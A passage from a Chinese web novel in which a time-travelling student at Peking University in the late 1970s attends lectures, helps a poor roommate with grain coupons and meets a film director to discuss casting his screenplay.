“您好奇心还挺重,我这刚开始写,写完后再给您过目成吗?”高远说着,把稿子放进抽屉里锁好。 “成,写完后先让我看啊。” 高远说好。 张雪梅进了厨房,边做晚饭边问高远道:“儿子,还适应大学生活吗?” 高远走进去,搂着老妈的肩膀笑道:“适应啊,班主任和同学们都很好,尤其是寝室里那几位老大哥,都挺关照我的,我去得最晚,哥哥们却把位置最好的一个下铺给我留着了。” 张雪梅微笑道:“那是挺照顾你的,但你也得心存感激,回头你给室友们带些吃的过去,也不用说什么感谢的话,把意思表达出来,他们自然会明白的。” 高跃民插话道:“你妈说得对,这年头儿,日子过得都不富裕,你时常带些吃食回去,不仅能改善室友的生活,还能够增进室友之间的情谊。” “咱家过得也不富裕啊。”高远苦笑道。 张雪梅说:“又没让你带大鱼大肉,待会儿妈泡点花生米,掺些芹菜丁胡萝卜丁用盐水煮了,你带过去给室友们尝尝,花不了几个钱。 等你下次回家,妈再给你酱腌点辣椒黄瓜,也是一道爽口下饭的小菜。” 当父母的,哪个不是为儿女操碎了心。 高远感动地说道:“还是老妈想得周到啊,妈真好。” 张雪梅笑了,在他鼻子上刮了一下,说:“我儿子嘴真甜。” 吃过晚饭,陪父母聊了会儿天,高远就去休息了。 次日七点他就起来了。 洗漱后在家里吃了早饭,他出门回学校。 文学班上课的地方在二教三楼200人大教室。 高远走进教室后,发现人好多啊。 査建英见他走进来,站起来冲他挥手,引得几位同学纷纷侧目。 高远摸摸鼻子,快步走过去。 “我给你占座了。”小查欢天喜地地说道,一副求表扬的样子。 高远没敢坐,因为周遭全是花姑娘,这些花姑娘还笑眯眯看着他,眼神儿那叫一个玩味啊。 “那个,我去后面坐吧,梁哥也给我占座了。”高远不好意思地说道。 “不给面子啊?”小查急了。 “没有没有,只是觉得……”高远一时语塞。 “男女授受不亲?”黄蓓佳笑呵呵说道。 高远嘿嘿一笑,没接这茬就等于默认了。 “高远,你这思想有点封建啊,你跟小查又没啥,这时候躲了反而显得心虚了。”王晓萍也打趣高远道。 高远觉得小王同学言之有理,一屁股在査建英身边坐下了,大声宣布:“我有什么心虚的,我和小查是好哥们儿。” 査建英附和道:“没错儿,我俩铁磁!” 同学们心里都在嘀咕,这算是此地无银三百两吧。 高远问査建英:“怎么这么多人啊?” 査建英回答道:“古典文献专业和新闻专业的同学们跟我们一起上公共基础课,还有就是其他专业的同学们过来旁听。 今天的第一课是吕乃岩老师给我们讲《中国文学发展史》。 知道不,这是北大中文系的同学们必听的一门课程。” 高远还没来得及回话,叶君远走过来,笑着把代领的课本递给高远。 “听你们寝室的同学说你昨天回家了,我就把课本给你带过来了,你清点一下少没少。”叶君远说道。 “啊,谢谢叶叔啊。”高远认真地清点起课本来。 哟,这学期开设的课程还不少呢,竟然有八门课,还有三门选修课。 叶君远整个人都不好了。 叶叔…… 这是称呼我的吗? 我有这么老吗? 周围爆发出一阵哄堂大笑。 小查笑得牙都快碎了。 叶君远是个好脾气的,他自个儿也笑了起来,“得,叶叔就叶叔吧,总比被叫叶大爷好听一些。” 大家又笑了起来。 “笑什么呢?一个个的都这么开心。” 说话间,走进来一个中年帅哥。 大家看着他,穿一身洋装,脚踩大皮鞋,腋下夹个皮包,梳着油头,满面春风。 “这是咱老师?太时髦了吧!”高远惊讶地说道。 吕乃岩哈哈一笑,把包放在讲桌上,展开双臂向同学们展示了一下他这身装扮,说道:“高远你是不是觉得北大的老师就应该穿着朴素、古板教条,上课的时候一板一眼、严肃认真啊? 你错了我跟你说! 北大的课堂向来是个充满自由之风的地方,这里没有一板一眼、严肃认真,却有宽松的环境,浓厚的学风和平等交流的氛围。” 让高远没想到的是,吕老师在开学第一课中的第一炮先冲着自己来了。 我名气这么大的吗? “吕老师,请举例说明。”高远笑呵呵说道。 老吕,你不是说北大环境宽松吗? 你倒是讲讲到底有多宽松。 哇,挑战老师啊,这在以前的求学生涯中可见不着。 大家哄然大笑的同时,也在等待着吕乃岩的回答。 吕乃岩仍是一脸笑容,他说道:“举个例子啊,成,我允许你们端着茶缸子来上课,有烟瘾的同学也可以抽烟。” 大家震惊了! 这还真宽松啊,宽得也太松了! 第42章 仗义的小查小王和小黄 当即有同学掏出一包经济烟来,啪地往课桌上一摔,挑衅一般对吕乃岩说道:“老师,我这会儿能抽吗?” 高远循着声音看过去,见是个其他专业的同学,心说哥们儿你胆儿不小啊。 他也觉得吕乃岩是在开玩笑。 学校的教学风气再开放,也不可能允许同学们在课堂上抽烟。 天方夜谭嘛这不是。 没成想吕乃岩笑呵呵走到那位同学面前,看一眼课桌上的经济烟,从口袋里掏出一包大前门,抽出一根递给他,说道:“抽我的。” 这烟,自个儿是接还是不接啊? 那同学在风中凌乱。 周遭响起一阵哄堂大笑。 看着他窘迫的样子,吕乃岩也笑着说:“怎么?还得让老师给你点上啊。” 同学这才赶忙把烟接了过来,嘿嘿笑着摸出火柴,擦着了,先给吕老师点了,自个儿哆哆嗦嗦点了烟,猛抽一口,烟气入肺,然后从鼻孔中缓缓流出。 一看就是个老烟枪。 同学们沸腾了,还真让抽烟啊。 大家有烟的摸烟,没带烟的问周围关系不错的同学:“带了没?” 吕乃岩这时候说道:“我先说好啊,抽归抽,但是得分批次来,你们一起抽,咱这教室再宽敞,一节课上下来怕也就成烟雾缭绕的人间仙境了。 再说,照顾一下女同学们的感受嘛,因为抽烟影响到女同学们听讲,你们的罪过可就大了。 最重要的一点,不要影响到正常学习。” 同学们轰然叫好。 吕乃岩重新走回到讲台,正式开始上他的第一课。 吕乃岩讲课极富感染力,曹雪芹、罗贯中、蒲松龄、鲁迅、巴金、托尔斯泰、莎士比亚、巴尔扎克的经典著作他如数家珍。 同学们听得如痴如醉。 抽烟? 这时候谁还顾得上抽烟啊。 都沉浸在知识的海洋里不能自拔。 一堂大课让高远小刀拉屁股,开眼了。 他也有很大收获。 吕老师对中国文学发展史研究的非常透彻,他极少动用到教材,语言生动风趣。 用国外名家举例,同中国近现代作家的作品作比较,以此来讲述中国文学的发展历史,和各个阶段发展中的优劣。 在整堂课中,高远的注意力高度集中,光课堂笔记就写了满满三页。 当吕乃岩朗盛说:“今天的课就上到这里了,下课。” 他才缓过神来。 不由得感慨道:老师的教学水平和学校的学习风气真的会让一个学渣重燃对学习的热情。 课间休息二十分钟。 同学们各自找相熟的朋友嗨聊起来。 査建英手托着腮问高远:“中午吃啥啊?” 你这是混吃混喝混上瘾了呀姑娘。 高远拿小查同学一点辙都没有,慢吞吞吐出三个字来:“花生米。” 来之前他见老妈把昨晚煮好的花生米晾凉好后装进一个大号罐头瓶子里了,他顺手装进帆布兜拎了过来。 “一个菜啊?你咋改吃素了?”査建英眨着眼问道。 “昨天我不是想着第一次跟大家伙一起吃饭嘛,就充大头咬着牙买了两个肉菜,结果还一口没吃上。其实我家庭条件也一般的,天天吃肉可吃不起。”高远作可怜兮兮、委屈巴巴状。 査建英看看他,一脸不信的样子,撇着嘴对身边那几位说道:“你们谁见过穿将校呢、毛料军装的穷苦人?” 王晓萍:“我没见过。” 黄蓓佳:“我也没见过。” 小查仗着年龄比高远大一些,揪着他的耳朵斥责道:“装!你继续装!敢不敢把口袋翻出来给姐儿几个看看?” 高远抓着她的手腕哎呦哎呦直叫唤,“疼,疼,有话好好说,君子动口不动手。” “我是女的。” “女太君,不是,女君子。” 哈哈哈哈…… 査建英呸了一声,悻悻地松开了手,俩眼珠儿一转,说道:“高远儿,你是不是怕我混你饭吃啊?放心好了,今天中午姐请你吃顿好的。” 高远挫折耳朵难以置信:“真的假的?” 査建英翻个白眼儿说道:“姐姐我向来说话算话。” “我要吃红烧肉,吃四喜丸子!” “没问题,叫声姐,姐给你买。” “你怎么知道自己比我大啊?” “废话!姐看过你的入学通知书,你是60年的,姐是59年的。” 高远屈服了,“好吧,姐。” 査建英眉开眼笑道:“懂事儿!今后跟姐混,有姐一口吃的就不会让你饿着。” 高远心说,我看你是想跟我混,我甚至怀疑,你把我的底细都给摸清楚了。 第二节课又让高远开了眼,当吴组缃教授拿着课本走进教室的时候,同学们自动起立,给予这位最崇高的敬意。 自他踏入讲台的那一刻起,热烈的掌声整整持续了一分多钟。 先生随和笑着,对同学们微微颔首,等掌声平息后才声如洪钟道:“很高兴能够担任你们《中国古代文学史》的老师,我叫吴组缃,字仲华。” 说着,先生拿起粉笔,转身,在黑板上写了一段话:骐骥一跃,不能十步;驽马十驾,功在不舍;锲而舍之,朽木不折;锲而不舍,金石可镂。 他转过身来,又道:“与同学们共勉。” 掌声在此如雷鸣般爆发。 高远边鼓掌边嘀咕道:“咱这北大,还真是个藏龙卧虎之地啊,打死我也想不到,有朝一日能聆听到吴先生的教诲。” 小查也激动得面色通红,“是啊是啊,要知道吴先生可是跟林庚先生、长之先生、季先生齐名的,呃……清华四剑客……” 高远捂着眼低声道:“在北大教室里提清华,大姐你是真不怕被大家打死啊。” 小查又露出他标志性的傻笑,挠头说道:“失误,失误了,脑子突然断根弦儿。我警告你啊小远子,你可别往外传,不然,有你好看的。” 她冲高远扬了扬拳头。 王晓萍、黄蓓佳以及其他:“我们都听到了。” 小查撕下一张纸,用贝齿咬成了一条一条的。 好在她是个诚实守信的姑娘,午饭请高远吃了他心心念念的红烧肉和四喜丸子。 高远也不是个光占便宜不吃亏的主儿。 小查够义气,他也很局气,打了鱼香肉丝和宫保鸡丁,与各位同学共享美食。 吃饭时高远发现,少了几个人,问梁左道:“邦子、杨哥和老葛呢?” 往嘴里塞了一个锅塌豆腐,咽下后梁左说道:“邦子那人,嗐,别提了。杨哥有事回家了,说下午上课前回来。老葛打了饭回寝室去吃了。” 又咬一口馒头,梁左沉吟片刻后低声说道:“远儿,老葛不容易,一家五口人,每月人均总收入不到30块,可以说是非常困难了。 你没见到,老葛来报到的时候提着一个蛇皮口袋,口袋里就一床被子一个枕头,被子还是补丁摞补丁,露着黑棉絮的那种。 大冷的天儿,他穿一件深蓝色的褂子,里面只套一件秋衣,裤子里也只穿了一条绒裤,脚踩着一双解放鞋就来了。 我们几个也是第二天才发现的,当时那个场景,他裹着床破被蜷缩在床上的样子,把我们几个都给震住了。 哥儿几个眼眶发酸,碰了碰,杨哥说,既然有缘住一个寝室,室友有困难咱就不能不帮。 我们都赞成,觉得应该做点力所能及的事情。 又商量了一下,我和杨哥陈哥集资,给老葛换了套新铺盖,起码能让他睡得舒服一些。 陈哥还提议,帮老葛申请国家困难补助,材料正在整理,整理好后就递交给学校。” 高远皱着眉头问道:“老葛来报到前,不是已经在当地工作两年了么?” 陈建功说道:“学徒工,每月工资14块6,还经常不按时发。他父母是在土地刨食挣工分的,贵州那个地方,哪有好地啊。” “所以,老葛又是个自尊心强的人,不愿意占我们的便宜,就打了饭回寝室吃了?” “嗯,他打的是粗粮,连白菜汤子都不舍得打。小梁漏看了,老葛的蛇皮袋子里还有一大罐子红辣椒和一大罐子咸菜疙瘩。我估计,他这学期的饭就靠这两罐子咸菜就和了。” 这年头儿,难的是真难啊,温饱问题都解决不了。 高远鼻头一酸,沉声说道:“首先,三位哥哥给老葛买被褥花了多少钱算我一份儿。其次,杨哥说得对,室友有困难大家都得伸把手,吃饱喝足是头等大事,饭都吃不饱,哪来的精力学习? 老葛吃饱饭的问题得解决,还得当成咱寝室的头等大事来抓。” 他见陈建功和梁左有些为难,便明白过来,又道:“算了,您二位也是吃定量,每月只有36斤,够不够吃还另说,这事儿我来想办法解决吧。” 陈建功这大体格子,每个月36斤确实不够吃。 这年头儿的棒小伙子,一顿饭吃一斤馒头的大有人在。 他饿不着,是因为有稿费,还领着单位的工资,即便这样,每个月仍旧紧紧巴巴。 听高远说他要一个人解决,陈建功叹声气,说道:“我俩知道你是好心,但大家吃的是同样标准的定量,你能有什么办法解决啊?” 第43章 我找高远高老师 梁左也说道:“是啊远儿,你自个儿吃不饱,从牙缝里往外省可就不值当的了。老葛的困难咱们大家一起想办法解决,你可别强撑。” 高远真的很高兴,能够和杨迎明、陈建功、梁左分在同一个寝室里,自己不是一般的幸运。 这三位哥哥都是极富有同情心的人,也乐于助人,在这么一个环境中生活四年,想必一定会给自己留下深刻的、温暖的记忆。 没等高远说话,全程旁听了三人交流的査建英插话道:“我也尽一份力吧,我是女生,吃得少,每月有25斤粮食足够吃了,能节省出11斤,我每月拿出6斤来补贴给葛大哥,剩下5斤给家里添补一下,你们千万不要拒绝。” 高远、陈建功和梁左都愣住了,三个大老爷们儿都没想到小查居然这么仗义。 陈建功刚想拒绝,高远抢在他前面开了口,“谢了姐,我们仨也替老葛谢谢你,但这粮票我们不能白拿,这样吧,我们用市场价格买你的粮票。” 这声“姐”发自内心,喊得那叫一个情真意切。 没成想却把査建英惹毛了,姑娘把筷子一拍,怒视着高远说道:“小远子,你把姐当什么人了?我差你那两个钱儿吗?把同学之间的互帮互助搞得跟做买卖似的,你简直……市侩!” 王晓萍也补了一刀:“没错儿,还庸俗!” 黄蓓佳跟上就是一枪:“俗不可耐!” 高远把餐盒往大家面前推了推,捂着脸趴在餐桌上,闷声说道:“我是好心啊,真的,咱俩是哥们儿,我不想让你吃亏,你们怎么不分好赖人呢?” 几人都笑了起来。 査建英说道:“嘁,正因为咱俩是好哥们儿,你说这话我才更觉得你跟我见外了,没拿我当自己人,这很伤我自尊心的。” 高远抬起头,见她一脸认真的样子,便说道:“行吧行吧,我被你说服了,那就这样吧,每月6斤粮票,我替老葛收下了。” 王晓萍说道:“我也能节省出6斤来。” 黄蓓佳笑着说:“我也能,同样愿意解葛兆光同学的燃眉之急。” 高远冲三位女同学一抱拳,说道:“感谢各位仗义帮助,32楼302寝室全体室友感激不尽,容我们来日厚报。” 这一下就解决了18斤粮食,对葛兆光来说,每个月多出来的18斤粮食,无异于救命粮。 不仅高远对三位女同学由衷感激,陈建功、梁左也感动得心潮滚滚、热泪涟涟。 两人表达感谢的方式很独特,他们把高远打来的鱼香肉丝和宫保鸡丁推到姑娘们前面,说:“吃,使劲儿吃,不够再让远子去买就是了。” 姑娘们眉开眼笑,一点都不客气,几筷子就把两个肉菜瓜分完了。 高远眼巴巴看着,然后…… “老梁,把你的锅塌豆腐分我一半儿,老陈,把你的西红柿炒鸡蛋拨拉给我一点!快着!” “绝不!” “门儿都没有!” 一场抢食大战突兀地在大饭厅里开演了。 吃过午饭回到寝室,高远把三位女同学慷慨解囊一事跟葛兆光一说。 葛兆光低着头,再抬起头时热泪盈眶。 “让大家为我的事情操心了。”他哽咽道。 高远在他身边坐下,拍拍他的肩膀安慰道:“老葛,困难只是暂时的,总有度过去的那一天。陈哥也说了,会帮你申请国家困难补助,等补助金申请下来了,你的日子就好过一些了。 你也不用觉得不好意思,大家在你有困难的时候帮把手,等大家有困难了,你也不会眼看着不帮不是?” 葛兆光用力点着头,说道:“我一定会尽全力帮助大家的。” 高远望着陈建功,问道:“陈哥,邦子是个什么情况啊?” 陈建功愤愤道:“不合群儿呗,还净在背后说一些不咸不淡的片儿汤话,弄得哥儿几个都挺烦他。远子,今后你也跟他保持距离吧,这个人,不像我们看上去的那么简单啊。” 梁左点头道:“心术不正。” 葛兆光想了想后说道:“他跟我一个班,从这两天的表现上看,他对……我们班女生格外关注,有事没事就往女生们身前凑,几个女同学对他意见都不小。” 高远捏着下巴颏琢磨了片刻,嘿嘿笑道:“他这是自绝于人民啊,你们说,邦子插队那么些年,就没在广阔的农村留下个一儿半女的?” 陈建功眼睛猛地亮了,凑过来蹲地下,双手扶着高远的膝盖,低声道:“你的意思是说,他考上大学后,为了回城抛了妻弃了子?” 梁左先把门关紧,也噔噔噔跑过来,蹲下说道:“不是没有这个可能性啊,邦子自个儿先承认的,他在农村一待就是八年,八年啊,抗日战争也才打了八年。 以他那看见花姑娘就走不动道的尿性,八年插队生活,不和当地姑娘发生些美丽动人的爱情故事,似乎有点说不过去啊。” 高远看着他,心说难怪你会成为一名优秀的编剧呢,脑洞大不说,你还善于在日常生活中积累素材。 “嗯,我也这么觉得。”他说道。 “他如何,跟咱们有啥关系啊?”葛兆光不明所以。 “这孙子不止对你们班女生感兴趣,你们是没注意到,昨天中午吃饭的时候,他看小查、小王那眼神儿也透着一股子淫邪。他最好别打我们班女生的主意,要不然,我真不介意查查他的老底。”高远眯着眼发狠道。 三位看着高远咬牙切齿的样子,皆悚然一惊。 这位小兄弟是个眼睛里不揉沙子的狠人呐。 不过他对小查、小王和小黄也确实够意思,这点让三兄弟挑不出毛病来。 陈建功劝了一句:“观察观察再说吧,万一咱们误会邦子了呢,或许人家没那些脏事儿,对咱班女生也没啥想法,大家在一个寝室里住着,闹僵了今后就没办法相处了。” 高远点点头,笑道:“我也只是猜测,没啥实质性证据,陈哥不用担心,我有分寸的。” “有分寸就好,我看你也不是个莽撞人。” 高远从帆布包里将那瓶子水煮花生米拿出来,递给葛兆光道:“老葛收好啊,我妈煮的,这瓶子水煮花生米就当是给咱寝室加个菜了。 我提议,今后吃午饭,大家轮流打饭,拿到寝室来吃,坐着吃怎么也比站着吃舒服一些吧。” 葛兆光接过去,笑道:“远子这话没毛病,站着吃消化得更快。我就不跟你客气了,替你保管着,大家一起吃。” 陈建功搂着高远的脖子开玩笑道:“你还挺能藏,吃饭时怎么不见你往外拿啊?” 梁左嘿嘿笑着替高远回答道:“就咱班那三个女生,见着好吃的跟饿狼似的,眼珠子都是绿的,我要是小远子我也不往外拿,这一罐头瓶子看上去不少,但也架不住她们三个连吃带拿你们说对不?” 高远冲他竖起大拇指道:“知我者梁哥也啊,你俩还别不信,那三位是真不跟我不见外,尤其是我那哥们儿小查。” 陈建功和葛兆光相视大笑。 高远的大学生活过得很充实。 开学一周来,他没有错过一节课,每节课都在认真听讲,记笔记。 也见识到了一个又一个久负盛名的名师、教授们深厚的教学功底。 今天一个乐黛云老师,明天一个费振刚老师,后天出现在同学们面前的是大名鼎鼎的周先慎先生。 你很难相信这些早已在文学界享誉全国的教师教授们组团出现在二教文学专业的教室中会引起多大的轰动。 高远已经见怪不怪了。 这是个周一,乐黛云老师正在上课,教室门口出现个鬼鬼祟祟的身影。 来人往教室里扫了一眼,见乐黛云老师看过来,便说道:“老师您好,不好意思,打扰您上课了,我是北影厂文学部的梁晓声,过来找个人。” 北影厂文学部的人怎么找到教室里来了? 乐黛云愣了片刻后笑着说道:“不妨事,梁同志找哪位啊?这是教学楼,任课老师们不在这边办公。” 梁晓声忙说道:“不不不,您误会了,我不找任课老师,我找高远高老师。” 他调门儿挺高,教室里轰地一声炸响了。 高远高老师? 同学们齐刷刷望着高远,什么情况啊这是,这家伙什么时候成老师了? 把高远臊得脸红脖子粗。 老梁你弄啥嘞? 故意出我的丑是吧? 他低头一瞧,咦?地板为什么这么平? 小查给了他一拐子,眉眼开花道:“高老师,找你的。” 站在讲台上的乐黛云老师也起哄架秧子,“高远老师,北影厂的梁同志拜访你来了,你要不要出面接见一下啊?” 哈哈哈哈…… 同学们拍着桌子放声大笑。 高远脸通红,瞪小查一眼,起身快步走到讲台前,给乐老师鞠了一躬,说道:“给您添麻烦了。” 乐黛云小圆脸儿,戴一副金丝边眼镜,和颜悦色望着高远,笑道:“去吧,慢慢聊,甭着急回来。” “尽快回,我一定尽快回。” 高远说完,冲出教室,一见梁晓声,气不打一处来,“你故意的吧?” 梁晓声鸡贼一笑,坦诚道:“这不是为了给你扬扬名么。” “我谢谢你啊。” “不客气。” 高远心说,你这是跟我混熟了啊。 “怎么找到学校里来了?有急事儿?” “导演确定了,厂领导决定,由王好为导演来掌镜电影《瞧这一家子》,今天导演跟我见了个面,说要见见你这个大编剧。 就电影的拍摄,选角等相关事宜跟你当面交换一下意见,让我过来问问你哪天有空跟她见个面。” 第44章 导演定了 高远神采奕奕,“王好为导演,厂里唯一一位女导演,是她吗?” 梁晓声一脸惊奇,“你认识王导?” 高远心说,幸好没有改变历史啊,厂领导若是换其他导演,我还真得去申请一下。 “不认识,但久闻大名了,王导是中生代导演,她对剧中角色的定位,演员的选择,叙事节奏的把控都是非常具有前瞻性的,思想上比老导演们更加开放。” “这话你说对了,这也是厂领导为什么选定王导来掌镜这部作品的主要原因。那你什么时候有空跟王导见个面啊?” 高远踯躅道:“梁大哥你也看到了,我学业繁忙,每天至少三节课,不敢随便请假,所以,这些天肯定没时间跟导演见面了。” “明天下午不行吗?周二啊,所有单位的干部职工都会例行开会学习,你们学生要么放假,要么上自习,这个时间段不可以吗?” “我得去图书馆自习,真没时间。” 梁晓声琢磨琢磨,说道:“这事儿宜早不宜迟,要不这样吧,就今天中午了,你现在就跟我走,王导还在厂里呢,你俩见面,我琢磨着也就一个小时顶天了,实在不行,我让厂长帮你请假。” 高远连忙拽住他,又问道:“这算是正式成立筹备组了吧?那今后我是不是要长期驻扎在剧组啊?” “驻组那是肯定的,你别以为剧本定稿后就没你啥事儿了,以后的工作还多着呢,比如说,在拍摄现场需要临时修改某段对白,那就是你的活儿,别人也代替不了啊。” “这样的话,就需要请长假了。” 梁晓声沉吟片刻,说道:“先去厂里吧,听听导演的意见,导演也没办法的话,就只能请厂长出面跟你们学校进行协调了。” 高远心说,也只能这样了,他点点头,又道:“稍微等会儿吧,还有五分钟就下课了,我得跟乐老师请个假,万一下午开课前不能按时回来呢。” “也好。”梁晓声摸出烟来抽出两根,递给高远一根。 两人在走廊里喷云吐雾。 五分钟后,下课铃声准时响起。 乐黛云走出教室,见高远笑眯眯走过来,她也笑着问道:“聊完了?” 高远把请假的事情一说。 乐黛云看着他,脸上带着点惊奇,“你是说,你写了个剧本被北影厂看中了,还要改编成电影?这位梁同志过来找你,是邀请你去北影厂跟导演见面的?” 她这么一说,周围的同学们顿时“哇”了一声,都是一副不可思议的样子。 终究是瞒不住了。 高远苦笑道:“是的,乐老师,我也不知道会跟导演了多久,怕耽误下午的课,跟您提前打声招呼,万一下午来晚了,您心里好有个数。” 下午第一节课也是乐黛云的。 乐黛云点点头,又问:“下面就要正式进组了吧?” 高远说是。 乐黛云笑道:“让北影厂的领导过来一趟,跟系里费振刚主任打声招呼吧,你这孩子也是年轻,没经验,这么大的事情,是要提前向系里进行报备的。” 梁晓声笑着说道:“感谢老师提醒,这事儿回去我就跟领导们汇报,把您的话转达到。” 他心里明镜似的,乐老师这话是说给自个儿听的,高远年轻,考虑得不周全,你们北影厂的人考虑问题也不全面吗? 剧组都筹建好了,才想起来,哦,编剧还没过来呢,就着急忙慌地来抓壮丁,你们也太不把北大的高材生当回事儿了。 还一个招呼都不打就想把人带走,你们北影厂是牌子大,国营大厂,但我北大也不差的好吧? 别不把北大放在眼里。 他听出来了,所以才赶紧找补了一句。 乐黛云淡淡地嗯了一声,见高远愣神儿,拍拍他的胳膊,问道:“写了个什么故事啊?” 高远回过神来,羞赧地说道:“一个喜剧片。” “在《电影创作》上发表的?” “是。” 好在梁晓声准备充分,他从包里摸出两本《电影创作》来,递给乐黛云,说:“高老师的剧本叫《瞧这一家子》,请老师过目。” 乐黛云接过来,冲他点点头,翻开看了看,第一篇就是《瞧这一家子》,编剧署名:高远。 后面的同学们也都呼吸急促,眼巴巴凑过来瞧着。 乐黛云把另一本递给班长叶君远,说道:“大家轮流看吧,看看我们班的大才子到底写了个什么故事。” 叶君远接过来说声好,一挥手,对大家说:“先去吃午饭,吃完午饭想看的回教室来,我给大家读一遍。” 同学们轰然叫好,拿着饭盒、饭缸子冲下楼。 跟高远擦肩之际,要么拍拍他的肩膀,要么捶他一拳,还有人冲他嘿嘿嘿的傻笑。 那人自然是小查。 好嘛,同学们太热情了,险些把高远折腾散架了。 高远又跟乐黛云打了声招呼,这才拉着梁晓声下了楼。 査建英、梁左、苏牧几个人在楼下逮住了他。 小查笑嘻嘻问道:“你这就要奔赴文艺战线了啊?” 高远边走边说:“是啊,要奔赴文艺战线了。” 苏牧坏笑道:“文艺战线可不得了,莺歌燕舞鸟语花香的,高老师小心被美色迷花了眼啊。” 神特么高老师啊,你应该叫我高校长! 白他一眼,高远大步流星,“您放心吧,我的思想境界比您高。不跟你们犯贫了,我先走一步。” 他蹬上车子电光火石。 小查在后面大声喊道:“别被资本主义腐蚀了思想啊!” 高远差点儿跌个跟头。 他是在招待所四楼405号房见到王好为的。 王好为38岁,北电导演系毕业,个子不高,梳着齐耳短发。 给他一种精明干练的感觉。 梁晓声为两人做了介绍:“这位就是王好为导演,王导,这是高远。” “王导您好,实在是不好意思啊,我从学校里赶过来的,耽误了您的宝贵时间。” 话说,这个年代女导演的占比非常高,成就也极其惊人。 比如说大家耳熟能详的《西游记》导演杨洁,还有《三国演义》的女导演蔡晓晴。 你能想象到,火烧赤壁,2500人的大场面,是蔡晓晴导演坐镇执导的吗? “小高你太客气了,是我不好意思才对,没提前打招呼就贸然把你请过来了。” 王好为站起身,笑着跟高远握了握手。 她也就一米六出头,高远又长了一公分,一米八了。 两人站一起,显得有点滑稽。 高远稍稍握了下王好为的指尖就把手松开了。 他在老前辈们面前向来谦逊有礼。 王好为笑了笑,说道:“你们俩都坐吧,坐下聊。小孙给高老师和梁老师泡杯茶。” 见王好为落了座,高远这才在沙发上坐下。 助理小孙泡好茶端过来,放在他面前,笑着说道:“高老师请喝茶。” 又递给梁晓声一杯,“您也请。” “不敢当不敢当,您喊我小高就行,谢谢啊。”高远诚惶诚恐。 小孙抿嘴一笑,退下。 王好为这才说道:“厂里把《瞧这一家子》的拍摄任务交给我了,实话说,这是我独立执导的第一部影片,深感责任重大。 这几天一直在看剧本,把我逗得不行,这个故事可太有意思了。 今天把你请过来聊聊,我想着,正式开拍前,咱俩得先统一思想。” 高远忙摆着手说:“导演言重了,剧组里您最大,我指定听您指挥。” “这话不对,先有剧本才有影片,导演和编剧如果达不成共识,即便勉强开始拍摄了,也拍不出好作品来,咱俩都开诚布公,有啥说啥,好吧。” 王好为的话让高远感觉熨帖。 他见惯了后世的粪圈文化,忽然纯净一次,多少有那么点儿不适应。 高远笑着说好,又对梁晓声说道:“去隔壁下两碗面条端过来,我这还没吃饭呢。” “你这支使我都成习惯了啊。”梁晓声不满地咕哝了一句,还是站起身,从高远手中接过钥匙,奔隔壁,给小爷煮面条去了。 他走后,高远跟王好为交流起来。 两人很快达成一致,这部片子的定位就是反映现实生活的喜剧片。 通过市井小人物的视角来展现这个时代社会的进步和发展。 “咱俩想一块儿去了,看来我们之间很有默契嘛。”王好为笑着说道。 高远谦虚道:“主要是您引导得好。” 王好为说道:“小高,你不用这么拘束,放开一点,电影主题和思想性确定下来了,那咱俩聊聊选角一事。” 第45章 女主角的人选 梁晓声端着两碗面条走进来,递给高远一碗。 高远抱着碗大口吃着,边吃边说道:“导演您继续说,您有合适的人选吗?” 《瞧这一家子》,有名有姓的角色一共14个,原版的男女主角分别是陈佩斯和方舒。 陈佩斯就不多说了,参演了这部影片后,算是彻底把他钉死在了喜剧片这个领域里了。 方舒,就是后来嫁给屠洪刚那位,人倒是很漂亮,演技也中规中矩。 她童星出身,1964年就在水华指导的电影《烈火中永生》中反串饰演了小萝卜头。 但高远没打算再用她。 除了这两位主角外,剩下的几乎都是北影厂的骨干了。 陈强、刘小庆、张金玲、黄玲等等。 “我们挑选演员,先以厂里的职工为主,厂里的不合适,才会考虑外面的演员。” 王好为解释了一下。 高远说:“理解。” 王好为又说:“不瞒你说,这几天跟我打招呼的人可不少,陈强老师和葛存壮老师跑得最勤快,二位老师为了扶孩子上位,都愿意出演胡主任这个角色。” 高远一听,乐了,葛家父子俩也掺和进来了呀。 佩斯和优子之间的竞争,这有点惨烈啊。 “您更倾向于哪对父子组合?”高远笑呵呵问道。 王好为一乐,说:“自然是陈老师和二子,尤其是二子那形象,简直太贴合角色了。并且我已经婉拒葛老师了,葛老师也表示理解。” “女主角您有合适的人选推荐吗?” “我这两天,净在脑子里扒拉厂里那几个丫头了,不瞒你说,小庆找过我,秀明和金玲也找过我,我比较了一下,发现没有一个合适的。” 王好为叹了声气,又说道:“文化部的一位领导倒是给我推荐了一个人选,叫方舒,那位领导说,姑娘北电毕业,也正准备考来我们厂。 照片我看过了,长得倒是蛮清秀的,就是不知道演技如何。” 果然还是没绕过去。 高远想起来了,方舒的父亲目前是文化部的司局级干部。 放到后世,这就叫有资源扶持。 “导演,我能看看方舒的照片吗?” “这有什么不能看的,小孙,把方舒的照片拿给高老师看一眼。” 小孙找出方舒的照片,走过来递给高远。 高远接过来一瞧,是张近身彩照,方舒青春靓丽眉清目秀,一颦一笑颇具风情。 “光彩照人但纯净不足。”高远给出了评价。 “有些突兀?”王好为一愣,问道。 “跟我想象中的女主角还是有些差距的,小红是新华书店的营业员,二十出头的年纪,这点方舒的年龄倒是比较合适,但我在塑造这个人物的时候在剧本中明确描写了她的特点,大方朴素、目光清澈。 您瞧瞧这位,打扮得花枝招展的,眼神中充满了俏皮的味道。 和我想象中的女主角大相径庭。”高远给王好为看了眼照片。 王好为接过去,端详一眼,蹙着眉头说道:“你说得也对,这姑娘是给人一种活泼俏皮的感觉。但……文化部可是咱们厂的直属上级,就这么直接拒绝了,不好吧?” 高远笑着说:“要相信领导的思想境界嘛,领导还能因为这么一点小事儿就迁怒于咱们?那领导也太没水平了。” 他最不担心的就是方舒他爹,他爹官儿再大,大得过高跃华吗? 大伯可是文化部的一把手。 敢以权压人,告你去! 王好为还是很为难。 高远想了想,建议道:“要不把她喊过来试试戏吧,也不要局限于一个人选,咱们多选几个,捡最贴合角色的饰演就是了。” “诶,也行,就这么办!” 王好为眼睛一亮,说道:“虽然咱俩是第一次见面,但交流得太愉快了。小高,你还有什么建议,再跟我说说。” 高远也觉得很愉快,也不藏着掖着了,直接说道:“您刚才说过,厂里的女同志没一个适合饰演小红这个角色的,到目前为止只待定了一个方舒。 我建议,不妨考虑一下其他厂或者文工团的女演员,或是艺术院校的女同学也可以列为考察对象。” 王好为看着他,乐呵呵说道:“小高,你心里是不是已经有合适的人选了?痛快说嘛,不用不好意思的。” 梁晓声也起哄道:“他心里一准儿有人选了。” 